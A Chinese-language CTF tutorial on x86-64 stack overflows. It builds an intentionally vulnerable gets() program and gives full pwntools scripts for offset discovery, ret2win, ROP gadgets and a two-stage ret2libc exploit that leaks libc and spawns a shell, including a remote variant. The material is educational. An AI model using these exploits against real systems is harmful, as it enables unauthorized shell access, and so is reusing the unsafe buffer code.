栈溢出与 ROP 深入实战:偏移、ret2win 与 ret2libc

栈溢出实践:编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。
一、现实背景:缓冲区溢出
gets、strcpy、sprintf 不校验写入长度。输入超过缓冲区容量时,数据覆盖相邻内存,包括函数的返回地址。程序 ret 时跳到被覆盖的地址执行——这就是栈溢出的核心。
本文环境:Linux(Kali/Ubuntu),x86-64 架构,这是 CTF Pwn 的标准环境。
二、环境准备
apt install gcc gdb
pip3 install pwntools ROPgadget
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh
三、漏洞程序与编译
vuln.c:
#include <stdio.h>
#include <stdlib.h>
void win() {
system("/bin/sh");
}
void vuln() {
char buf[32];
gets(buf);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
puts("Hello, what's your name?");
vuln();
puts("Bye!");
return 0;
}
编译:
gcc -o vuln vuln.c -fno-stack-protector -no-pie
四、核心步骤 1:checksec
目的:开打前判断这条路能否走通,避免构造无效 payload。
思路:No canary → 可以直接覆盖返回地址;No PIE → win 地址写死可用;NX 开启 → 本阶段不打 shellcode,后面用 ROP。
pwn checksec ./vuln
预期输出:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
逐行含义:
| 输出 | 含义 |
|---|---|
No canary found | 无栈金丝雀,可覆盖返回地址 |
NX enabled | 栈不可执行,不能直接放 shellcode |
No PIE | 程序地址固定,win 地址可直接写死 |
Partial RELRO | GOT 可写(本阶段用不到) |
五、核心步骤 2:栈布局与偏移
vuln 栈帧自低到高:
┌──────────────────────┐
│ buf[32] │ ← gets 写入起点
├──────────────────────┤
│ 对齐填充 │
├──────────────────────┤
│ saved rbp(8 字节) │
├──────────────────────┤
│ 返回地址(8 字节) │ ← 目标
└──────────────────────┘
偏移 = 32 + 8 = 40。
用 pwntools 验证:
思路:cyclic 生成无重复模式串,程序崩溃时 rip 的值取自模式串;cyclic_find 反查位置,即"从输入开头到返回地址的距离"。
from pwn import *
p = process('./vuln')
p.sendline(cyclic(200))
# cyclic(200):生成 200 字节无重复模式串,发出去覆盖栈。
p.wait()
# 等进程崩溃退出,生成 core 文件供读取。
offset = cyclic_find(p.corefile.fault_addr)
# p.corefile.fault_addr:崩溃时 rip 的值。
# cyclic_find:返回该值在模式串中的下标 = 到返回地址的偏移。
print("offset =", offset)
预期输出:
offset = 40
原理:cyclic(200) 生成无重复的模式串;程序崩溃时 rip 的值必然是模式串中的 4/8 字节,cyclic_find 返回它在模式串中的位置,即到返回地址的距离。
六、核心步骤 3:ret2win
目的:把返回地址改成 win,验证控制流劫持成功。
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
p.recvuntil(b'name?')
# recvuntil(b'name?'):读到提示字符串为止,确保 gets 就绪。
payload = b'A' * 40 + p64(elf.symbols['win'])
# b'A'*40:填充缓冲区与 saved rbp。
# p64(elf.symbols['win']):win 地址转 8 字节小端,覆盖返回地址。
p.sendline(payload)
p.interactive()
# interactive():把终端接到进程,shell 可交互。
运行:
python3 exploit.py
预期结果:
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
执行过程:gets 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 win → vuln 的 ret 跳到 win → system("/bin/sh") 弹 shell。
七、进阶:NX 与 ROP
NX 开启后栈不可执行,但代码段可执行。ROP(Return-Oriented Programming)把程序里已有的、以 ret 结尾的指令片段(gadget)串起来执行。
找 gadget:
ROPgadget --binary ./vuln | grep "pop rdi"
预期输出:
0x0000000000401233 : pop rdi ; ret
pop rdi; ret 的作用:把栈上的下一个 8 字节弹进 rdi(x86-64 的第一个参数寄存器),然后 ret 跳到下个地址。栈上布局:
[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...
八、进阶:ret2libc
目的:程序内没有目标函数时,改调 libc 的 system("/bin/sh")。
思路:ASLR 让 libc 基址随机,但"符号在 libc 内的偏移"固定。先泄露一个已知符号(puts)的真实地址,反推基址,再计算 system 与 "/bin/sh" 的地址。验证方式:第一段打印出的 puts 地址与 libc 文件里查到的偏移做差,得到的基址应当是 0x...000 结尾。
程序里没有 win 时,改调 libc 里的 system("/bin/sh")。libc 基址被 ASLR 随机化,解决方法是"先泄露,再计算"。
8.1 原理
泄露 puts 的真实地址(调用 puts(puts@got))
libc 基址 = puts 真实地址 - puts 在 libc 中的偏移
system 地址 = libc 基址 + system 偏移
"/bin/sh" 地址 = libc 基址 + 字符串偏移
8.2 完整脚本
from pwn import *
context.log_level = 'error'
# 只显示错误,减少调试信息刷屏。
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 本地 libc 文件;远程题目若提供 libc,这里换成对应的文件路径。
p = process('./vuln')
offset = 40
pop_rdi = 0x401233 # ROPgadget 搜到的 "pop rdi; ret" 地址
ret = 0x40101a # 任意 "ret" 地址,用于栈 16 字节对齐
# 第一阶段:泄露 puts 地址并返回 main
payload1 = b'A' * offset
payload1 += p64(ret)
# 先执行一个 ret:让栈指针再弹 8 字节,满足 system 的 16 字节对齐要求。
payload1 += p64(pop_rdi)
payload1 += p64(elf.got['puts'])
# got['puts']:GOT 里存放 puts 真实地址的内存位置。
payload1 += p64(elf.plt['puts'])
# plt['puts']:调用 puts 的入口;执行后相当于 puts(puts@got),打印真实地址。
payload1 += p64(elf.symbols['main'])
# 回到 main,让程序再读一次输入,进行第二阶段。
p.recvuntil(b'name?')
p.sendline(payload1)
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
# recvline():读一行(puts 输出后带换行)。
# strip():去掉换行;ljust(8, b'\x00'):不足 8 字节用 \x00 补齐。
# u64():8 字节小端转成整数,即 puts 的真实地址。
print("puts:", hex(leak))
libc.address = leak - libc.symbols['puts']
# libc.symbols['puts']:puts 在 libc 文件内的固定偏移。
# 真实地址 - 偏移 = libc 基址;给 libc.address 赋值后,
# 后面的 libc.symbols['system'] 会自动加上基址。
print("libc base:", hex(libc.address))
# 第二阶段:system("/bin/sh")
payload2 = b'A' * offset
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(next(libc.search(b'/bin/sh')))
# libc.search(b'/bin/sh'):在 libc 里找该字符串的所有位置;
# next(...) 取第一个位置(偏移),libc.address 赋值后自动加基址。
payload2 += p64(libc.symbols['system'])
# 调用 system("/bin/sh")。
p.sendlineafter(b'name?', payload2)
# sendlineafter:先等提示再发送,保证时序正确。
p.interactive()
运行输出:
puts: 0x7f8a2c3a5aa0
libc base: 0x7f8a2c328000
[*] Switching to interactive mode
$ id
8.3 三个易错点
- 补零:
puts输出的地址以换行结尾,strip()去掉换行,ljust(8, b'\x00')补到 8 字节再u64。 - 对齐:
system内部使用movaps,要求栈 16 字节对齐,需要额外一个ret。 - libc 版本:远程题目若提供 libc,用
libc = ELF('./libc-2.27.so');否则在 libc.rip 输入泄露的地址查版本。
九、必学工具
| 工具 | 3 个核心功能 | 示例 |
|---|---|---|
| pwntools | ELF()、cyclic/cyclic_find、p64+sendline | 见上文 |
| ROPgadget | 搜索 gadget、指定寄存器、输出地址 | ROPgadget --binary vuln | grep "pop rdi" |
| GDB(pwndbg) | 断点、看栈、查看崩溃点 | break vuln、x/20gx $rsp、bt |
十、小 CTF 实战
题目:nc 1.2.3.4 10001 运行 vuln(No canary、No PIE,有 win)。
from pwn import *
elf = ELF('./vuln')
p = remote('1.2.3.4', 10001)
payload = b'A' * 40 + p64(elf.symbols['win'])
p.sendline(payload)
p.sendline(b'cat flag')
p.interactive()
预期输出:
flag{ret2win}
十一、小结
栈溢出主线:checksec 判断防护 → cyclic 找偏移 → 覆盖返回地址。NX 出现后用 ROP,ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。